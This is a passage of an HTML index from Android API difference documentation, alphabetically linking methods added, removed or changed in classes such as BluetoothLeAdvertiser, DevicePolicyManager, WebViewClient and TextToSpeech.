HREF="android.bluetooth.le.ScanSettings.Builder.html#android.bluetooth.le.ScanSettings.Builder.setReportDelayNanos_removed(long)" class="hiddenlink" target="rightframe"><strike>setReportDelayNanos</strike> (<code>long</code>)</A></nobr><br> <nobr><A HREF="android.app.job.JobInfo.Builder.html#android.app.job.JobInfo.Builder.setRequiredNetworkCapabilities_removed(int)" class="hiddenlink" target="rightframe"><strike>setRequiredNetworkCapabilities</strike> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.app.job.JobInfo.Builder.html#android.app.job.JobInfo.Builder.setRequiredNetworkType_added(int)" class="hiddenlink" target="rightframe"><b>setRequiredNetworkType</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.webkit.WebResourceResponse.html#android.webkit.WebResourceResponse.setResponseHeaders_added(java.util.Map<java.lang.String, java.lang.String>)" class="hiddenlink" target="rightframe"><b>setResponseHeaders</b> (<code>Map&lt;String, String&gt;</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setRestrictionsProvider_added(android.content.ComponentName, android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>setRestrictionsProvider</b> (<code>ComponentName, ComponentName</code>)</A></nobr><br> <i>setReturnTransition</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.setReturnTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Transition</code>)</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.setReturnTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Transition</code>)</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanFilter.Builder.html#android.bluetooth.le.ScanFilter.Builder.setRssiRange_removed(int, int)" class="hiddenlink" target="rightframe"><strike>setRssiRange</strike> (<code>int, int</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setScreenCaptureDisabled_added(android.content.ComponentName, boolean)" class="hiddenlink" target="rightframe"><b>setScreenCaptureDisabled</b> (<code>ComponentName, boolean</code>)</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.setSecondaryProgressTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setSecondaryProgressTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.setSecondaryProgressTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setSecondaryProgressTintMode</b> (<code>Mode</code>)</A></nobr><br> <i>setServiceData</i><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanFilter.Builder.html#android.bluetooth.le.ScanFilter.Builder.setServiceData_removed(byte[])" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>byte[]</code>)</strike>&nbsp;in&nbsp;android.bluetooth.le.ScanFilter.Builder </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanFilter.Builder.html#android.bluetooth.le.ScanFilter.Builder.setServiceData_removed(byte[], byte[])" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>byte[], byte[]</code>)</strike>&nbsp;in&nbsp;android.bluetooth.le.ScanFilter.Builder </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanFilter.Builder.html#android.bluetooth.le.ScanFilter.Builder.setServiceData_added(android.os.ParcelUuid, byte[])" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>ParcelUuid, byte[]</code>)</b>&nbsp;in&nbsp;android.bluetooth.le.ScanFilter.Builder </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanFilter.Builder.html#android.bluetooth.le.ScanFilter.Builder.setServiceData_added(android.os.ParcelUuid, byte[], byte[])" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>ParcelUuid, byte[], byte[]</code>)</b>&nbsp;in&nbsp;android.bluetooth.le.ScanFilter.Builder </A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.setSessionActivity_added(android.app.PendingIntent)" class="hiddenlink" target="rightframe"><b>setSessionActivity</b> (<code>PendingIntent</code>)</A></nobr><br> <nobr><A HREF="android.app.Fragment.html#android.app.Fragment.setSharedElementEnterTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe"><b>setSharedElementEnterTransition</b> (<code>Transition</code>)</A></nobr><br> <nobr><A HREF="android.view.Window.html#android.view.Window.setSharedElementReenterTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe"><b>setSharedElementReenterTransition</b> (<code>Transition</code>)</A></nobr><br> <i>setSharedElementReturnTransition</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.setSharedElementReturnTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Transition</code>)</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.setSharedElementReturnTransition_added(android.transition.Transition)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Transition</code>)</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A HREF="android.view.Window.html#android.view.Window.setSharedElementsUseOverlay_added(boolean)" class="hiddenlink" target="rightframe"><b>setSharedElementsUseOverlay</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.widget.TextView.html#android.widget.TextView.setShowSoftInputOnFocus_added(boolean)" class="hiddenlink" target="rightframe"><b>setShowSoftInputOnFocus</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.widget.Switch.html#android.widget.Switch.setShowText_added(boolean)" class="hiddenlink" target="rightframe"><b>setShowText</b> (<code>boolean</code>)</A></nobr><br> <i>setSound</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Notification.Builder.html#android.app.Notification.Builder.setSound_removed(android.net.Uri, int)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>Uri, int</code>)</strike>&nbsp;in&nbsp;android.app.Notification.Builder </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Notification.Builder.html#android.app.Notification.Builder.setSound_added(android.net.Uri, android.media.AudioAttributes)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Uri, AudioAttributes</code>)</b>&nbsp;in&nbsp;android.app.Notification.Builder </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Notification.Builder.html#android.app.Notification.Builder.setSound_added(android.net.Uri, int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Uri, int</code>)</b>&nbsp;in&nbsp;android.app.Notification.Builder </A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.setState_removed(int, long, float)" class="hiddenlink" target="rightframe"><strike>setState</strike> (<code>int, long, float</code>)</A></nobr><br> <nobr><A HREF="android.webkit.WebResourceResponse.html#android.webkit.WebResourceResponse.setStatusCodeAndReasonPhrase_added(int, java.lang.String)" class="hiddenlink" target="rightframe"><b>setStatusCodeAndReasonPhrase</b> (<code>int, String</code>)</A></nobr><br> <nobr><A HREF="android.media.Ringtone.html#android.media.Ringtone.setStreamType_changed(int)" class="hiddenlink" target="rightframe">setStreamType (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.widget.Toolbar.html#android.widget.Toolbar.setSubtitleTextColor_added(int)" class="hiddenlink" target="rightframe"><b>setSubtitleTextColor</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.setTheme_removed(int)" class="hiddenlink" target="rightframe"><strike>setTheme</strike> (<code>int</code>)</A></nobr><br> <i>setThumbnail</i><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.DngCreator.html#android.hardware.camera2.DngCreator.setThumbnail_added(android.graphics.Bitmap)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Bitmap</code>)</b>&nbsp;in&nbsp;android.hardware.camera2.DngCreator </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.DngCreator.html#android.hardware.camera2.DngCreator.setThumbnail_added(android.media.Image)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Image</code>)</b>&nbsp;in&nbsp;android.hardware.camera2.DngCreator </A></nobr><br> <nobr><A HREF="android.widget.AbsSeekBar.html#android.widget.AbsSeekBar.setThumbTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setThumbTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.widget.AbsSeekBar.html#android.widget.AbsSeekBar.setThumbTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setThumbTintMode</b> (<code>Mode</code>)</A></nobr><br> <nobr><A HREF="android.app.Notification.Builder.html#android.app.Notification.Builder.setTicker_changed(java.lang.CharSequence, android.widget.RemoteViews)" class="hiddenlink" target="rightframe">setTicker (<code>CharSequence, RemoteViews</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseSettings.Builder.html#android.bluetooth.le.AdvertiseSettings.Builder.setTimeout_added(int)" class="hiddenlink" target="rightframe"><b>setTimeout</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.graphics.drawable.Drawable.html#android.graphics.drawable.Drawable.setTint_changed(int)" class="hiddenlink" target="rightframe">setTint (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.graphics.drawable.Drawable.html#android.graphics.drawable.Drawable.setTintList_added(android.content.res.ColorStateList)" class="hiddenlink" target="rightframe"><b>setTintList</b> (<code>ColorStateList</code>)</A></nobr><br> <nobr><A HREF="android.graphics.drawable.Drawable.html#android.graphics.drawable.Drawable.setTintMode_added(android.graphics.PorterDuff.Mode)" class="hiddenlink" target="rightframe"><b>setTintMode</b> (<code>Mode</code>)</A></nobr><br> <nobr><A HREF="android.widget.Toolbar.html#android.widget.Toolbar.setTitleTextColor_added(int)" class="hiddenlink" target="rightframe"><b>setTitleTextColor</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.view.ViewGroup.html#android.view.ViewGroup.setTouchscreenBlocksFocus_added(boolean)" class="hiddenlink" target="rightframe"><b>setTouchscreenBlocksFocus</b> (<code>boolean</code>)</A></nobr><br> <nobr><A HREF="android.view.Window.html#android.view.Window.setTransitionBackgroundFadeDuration_added(long)" class="hiddenlink" target="rightframe"><b>setTransitionBackgroundFadeDuration</b> (<code>long</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.setTransitionName_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>setTransitionName</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvView.html#android.media.tv.TvView.setTvInputListener_removed(android.media.tv.TvView.TvInputListener)" class="hiddenlink" target="rightframe"><strike>setTvInputListener</strike> (<code>TvInputListener</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseSettings.Builder.html#android.bluetooth.le.AdvertiseSettings.Builder.setType_removed(int)" class="hiddenlink" target="rightframe"><strike>setType</strike> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.setUninstallBlocked_added(android.content.ComponentName, java.lang.String, boolean)" class="hiddenlink" target="rightframe"><b>setUninstallBlocked</b> (<code>ComponentName, String, boolean</code>)</A></nobr><br> <nobr><A HREF="android.os.UserManager.html#android.os.UserManager.setUserRestriction_changed(java.lang.String, boolean)" class="hiddenlink" target="rightframe">setUserRestriction (<code>String, boolean</code>)</A></nobr><br> <i>setUserRestrictions</i><br> &nbsp;&nbsp;<nobr><A HREF="android.os.UserManager.html#android.os.UserManager.setUserRestrictions_changed(android.os.Bundle)" class="hiddenlink" target="rightframe">type&nbsp; (<code>Bundle</code>)&nbsp;in&nbsp;android.os.UserManager </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.os.UserManager.html#android.os.UserManager.setUserRestrictions_changed(android.os.Bundle, android.os.UserHandle)" class="hiddenlink" target="rightframe">type&nbsp; (<code>Bundle, UserHandle</code>)&nbsp;in&nbsp;android.os.UserManager </A></nobr><br> <nobr><A HREF="android.widget.VideoView.html#android.widget.VideoView.setVideoURI_added(android.net.Uri, java.util.Map<java.lang.String, java.lang.String>)" class="hiddenlink" target="rightframe"><b>setVideoURI</b> (<code>Uri, Map&lt;String, String&gt;</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.setViewName_removed(java.lang.String)" class="hiddenlink" target="rightframe"><strike>setViewName</strike> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.setVoice_added(android.speech.tts.Voice)" class="hiddenlink" target="rightframe"><b>setVoice</b> (<code>Voice</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.setVolumeTo_added(int, int)" class="hiddenlink" target="rightframe"><b>setVolumeTo</b> (<code>int, int</code>)</A></nobr><br> <i>shouldInterceptRequest</i><br> &nbsp;&nbsp;<nobr><A HREF="android.webkit.WebViewClient.html#android.webkit.WebViewClient.shouldInterceptRequest_removed(android.webkit.WebView, java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>WebView, String</code>)</strike>&nbsp;in&nbsp;android.webkit.WebViewClient </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.webkit.WebViewClient.html#android.webkit.WebViewClient.shouldInterceptRequest_added(android.webkit.WebView, android.webkit.WebResourceRequest)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>WebView, WebResourceRequest</code>)</b>&nbsp;in&nbsp;android.webkit.WebViewClient </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.webkit.WebViewClient.html#android.webkit.WebViewClient.shouldInterceptRequest_added(android.webkit.WebView, java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>WebView, String</code>)</b>&nbsp;in&nbsp;android.webkit.WebViewClient </A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.showWindow_removed()" class="hiddenlink" target="rightframe"><strike>showWindow</strike> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.TransportControls.html#android.media.session.MediaController.TransportControls.skipToQueueItem_added(long)" class="hiddenlink" target="rightframe"><b>skipToQueueItem</b> (<code>long</code>)</A></nobr><br> <i>speak</i><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.speak_added(java.lang.CharSequence, int, android.os.Bundle, java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>CharSequence, int, Bundle, String</code>)</b>&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.speak_changed(java.lang.String, int, java.util.HashMap<java.lang.String, java.lang.String>)" class="hiddenlink" target="rightframe">type&nbsp; (<code>String, int, HashMap&lt;String, String&gt;</code>)&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> <i>spec</i><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.GridLayout.html#android.widget.GridLayout.spec_added(int, android.widget.GridLayout.Alignment, float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int, Alignment, float</code>)</b>&nbsp;in&nbsp;android.widget.GridLayout </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.GridLayout.html#android.widget.GridLayout.spec_added(int, float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int, float</code>)</b>&nbsp;in&nbsp;android.widget.GridLayout </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.GridLayout.html#android.widget.GridLayout.spec_added(int, int, android.widget.GridLayout.Alignment, float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int, int, Alignment, float</code>)</b>&nbsp;in&nbsp;android.widget.GridLayout </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.GridLayout.html#android.widget.GridLayout.spec_added(int, int, float)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int, int, float</code>)</b>&nbsp;in&nbsp;android.widget.GridLayout </A></nobr><br> <nobr><A HREF="android.app.ActivityManager.AppTask.html#android.app.ActivityManager.AppTask.startActivity_added(android.content.Context, android.content.Intent, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>startActivity</b> (<code>Context, Intent, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.startActivityForProfile_removed(android.content.ComponentName, android.os.UserHandle, android.graphics.Rect, android.os.Bundle)" class="hiddenlink" target="rightframe"><strike>startActivityForProfile</strike> (<code>ComponentName, UserHandle, Rect, Bundle</code>)</A></nobr><br> <i>startAdvertising</i><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.BluetoothLeAdvertiser.html#android.bluetooth.le.BluetoothLeAdvertiser.startAdvertising_removed(android.bluetooth.le.AdvertiseSettings, android.bluetooth.le.AdvertisementData, android.bluetooth.le.AdvertiseCallback)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>AdvertiseSettings, AdvertisementData, AdvertiseCallback</code>)</strike>&nbsp;in&nbsp;android.bluetooth.le.BluetoothLeAdvertiser </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.BluetoothLeAdvertiser.html#android.bluetooth.le.BluetoothLeAdvertiser.startAdvertising_removed(android.bluetooth.le.AdvertiseSettings, android.bluetooth.le.AdvertisementData, android.bluetooth.le.AdvertisementData, android.bluetooth.le.AdvertiseCallback)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>AdvertiseSettings, AdvertisementData, AdvertisementData, AdvertiseCallback</code>)</strike>&nbsp;in&nbsp;android.bluetooth.le.BluetoothLeAdvertiser </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.BluetoothLeAdvertiser.html#android.bluetooth.le.BluetoothLeAdvertiser.startAdvertising_added(android.bluetooth.le.AdvertiseSettings, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseCallback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>AdvertiseSettings, AdvertiseData, AdvertiseCallback</code>)</b>&nbsp;in&nbsp;android.bluetooth.le.BluetoothLeAdvertiser </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.BluetoothLeAdvertiser.html#android.bluetooth.le.BluetoothLeAdvertiser.startAdvertising_added(android.bluetooth.le.AdvertiseSettings, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseCallback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>AdvertiseSettings, AdvertiseData, AdvertiseData, AdvertiseCallback</code>)</b>&nbsp;in&nbsp;android.bluetooth.le.BluetoothLeAdvertiser </A></nobr><br> <nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.startAppDetailsActivity_added(android.content.ComponentName, android.os.UserHandle, android.graphics.Rect, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>startAppDetailsActivity</b> (<code>ComponentName, UserHandle, Rect, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.appwidget.AppWidgetHost.html#android.appwidget.AppWidgetHost.startAppWidgetConfigureActivityForResult_added(android.app.Activity, int, int, int, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>startAppWidgetConfigureActivityForResult</b> (<code>Activity, int, int, int, Bundle</code>)</A></nobr><br> <i>startLeScan</i><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.BluetoothAdapter.html#android.bluetooth.BluetoothAdapter.startLeScan_changed(android.bluetooth.BluetoothAdapter.LeScanCallback)" class="hiddenlink" target="rightframe">type&nbsp; (<code>LeScanCallback</code>)&nbsp;in&nbsp;android.bluetooth.BluetoothAdapter </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.BluetoothAdapter.html#android.bluetooth.BluetoothAdapter.startLeScan_changed(java.util.UUID[], android.bluetooth.BluetoothAdapter.LeScanCallback)" class="hiddenlink" target="rightframe">type&nbsp; (<code>UUID[], LeScanCallback</code>)&nbsp;in&nbsp;android.bluetooth.BluetoothAdapter </A></nobr><br> <nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.startMainActivity_added(android.content.ComponentName, android.os.UserHandle, android.graphics.Rect, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>startMainActivity</b> (<code>ComponentName, UserHandle, Rect, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.BluetoothLeScanner.html#android.bluetooth.le.BluetoothLeScanner.startScan_added(android.bluetooth.le.ScanCallback)" class="hiddenlink" target="rightframe"><b>startScan</b> (<code>ScanCallback</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.startVoiceActivity_removed(android.content.Intent)" class="hiddenlink" target="rightframe"><strike>startVoiceActivity</strike> (<code>Intent</code>)</A></nobr><br> <nobr><A HREF="android.net.wifi.WifiManager.html#android.net.wifi.WifiManager.startWps_added(android.net.wifi.WpsInfo, android.net.wifi.WifiManager.WpsCallback)" class="hiddenlink" target="rightframe"><b>startWps</b> (<code>WpsInfo, WpsCallback</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.BluetoothAdapter.html#android.bluetooth.BluetoothAdapter.stopLeScan_changed(android.bluetooth.BluetoothAdapter.LeScanCallback)" class="hiddenlink" target="rightframe">stopLeScan (<code>LeScanCallback</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.CameraDevice.html#android.hardware.camera2.CameraDevice.stopRepeating_removed()" class="hiddenlink" target="rightframe"><strike>stopRepeating</strike> ()</A></nobr><br> <nobr><A HREF="android.nfc.cardemulation.CardEmulation.html#android.nfc.cardemulation.CardEmulation.supportsAidPrefixRegistration_added()" class="hiddenlink" target="rightframe"><b>supportsAidPrefixRegistration</b> ()</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.switchUser_added(android.content.ComponentName, android.os.UserHandle)" class="hiddenlink" target="rightframe"><b>switchUser</b> (<code>ComponentName, UserHandle</code>)</A></nobr><br> <nobr><A HREF="android.webkit.CookieSyncManager.html#android.webkit.CookieSyncManager.syncFromRamToFlash_changed()" class="hiddenlink" target="rightframe">syncFromRamToFlash ()</A></nobr><br> <i>synthesizeToFile</i><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.synthesizeToFile_added(java.lang.CharSequence, android.os.Bundle, java.io.File, java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>CharSequence, Bundle, File, String</code>)</b>&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.synthesizeToFile_changed(java.lang.String, java.util.HashMap<java.lang.String, java.lang.String>, java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp; (<code>String, HashMap&lt;String, String&gt;, String</code>)&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> <A NAME="T"></A> <br><font size="+2">T</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="java.util.Locale.html#java.util.Locale.toLanguageTag_added()" class="hiddenlink" target="rightframe"><b>toLanguageTag</b> ()</A></nobr><br> <A NAME="U"></A> <br><font size="+2">U</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.uninstallAllUserCaCerts_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>uninstallAllUserCaCerts</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.uninstallCaCert_added(android.content.ComponentName, byte[])" class="hiddenlink" target="rightframe"><b>uninstallCaCert</b> (<code>ComponentName, byte[]</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.CameraManager.html#android.hardware.camera2.CameraManager.unregisterAvailabilityCallback_added(android.hardware.camera2.CameraManager.AvailabilityCallback)" class="hiddenlink" target="rightframe"><b>unregisterAvailabilityCallback</b> (<code>AvailabilityCallback</code>)</A></nobr><br> <i>unregisterCallback</i><br> &nbsp;&nbsp;<nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.unregisterCallback_added(android.content.pm.LauncherApps.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Callback</code>)</b>&nbsp;in&nbsp;android.content.pm.LauncherApps </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.unregisterCallback_added(android.media.session.MediaController.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Callback</code>)</b>&nbsp;in&nbsp;android.media.session.MediaController </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvInputManager.html#android.media.tv.TvInputManager.unregisterCallback_added(android.media.tv.TvInputManager.TvInputCallback)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>TvInputCallback</code>)</b>&nbsp;in&nbsp;android.media.tv.TvInputManager </A></nobr><br> <nobr><A HREF="android.net.ConnectivityManager.html#android.net.ConnectivityManager.unregisterDefaultNetworkActiveListener_removed(android.net.ConnectivityManager.OnNetworkActiveListener)" class="hiddenlink" target="rightframe"><strike>unregisterDefaultNetworkActiveListener</strike> (<code>OnNetworkActiveListener</code>)</A></nobr><br> <i>unregisterMediaButtonEventReceiver</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.unregisterMediaButtonEventReceiver_changed(android.app.PendingIntent)" class="hiddenlink" target="rightframe">type&nbsp; (<code>PendingIntent</code>)&nbsp;in&nbsp;android.media.AudioManager </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.unregisterMediaButtonEventReceiver_changed(android.content.ComponentName)" class="hiddenlink" target="rightframe">type&nbsp; (<code>ComponentName</code>)&nbsp;in&nbsp;android.media.AudioManager </A></nobr><br> <nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.unregisterRemoteControlClient_changed(android.media.RemoteControlClient)" class="hiddenlink" target="rightframe">unregisterRemoteControlClient (<code>RemoteControlClient</code>)</A></nobr><br> <nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.unregisterRemoteController_changed(android.media.RemoteController)" class="hiddenlink" target="rightframe">unregisterRemoteController (<code>RemoteController</code>)</A></nobr><br> <nobr><A HREF="android.view.inputmethod.InputMethodManager.html#android.view.inputmethod.InputMethodManager.updateCursor_changed(android.view.View, int, int, int, int)" class="hiddenlink" target="rightframe">updateCursor (<code>View, int, int, int, int</code>)</A></nobr><br> <nobr><A HREF="android.os.PowerManager.html#android.os.PowerManager.userActivity_removed(long, boolean)" class="hiddenlink" target="rightframe"><strike>userActivity</strike> (<code>long, boolean</code>)</A></nobr><br> <A NAME="V"></A> <br><font size="+2">V</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a 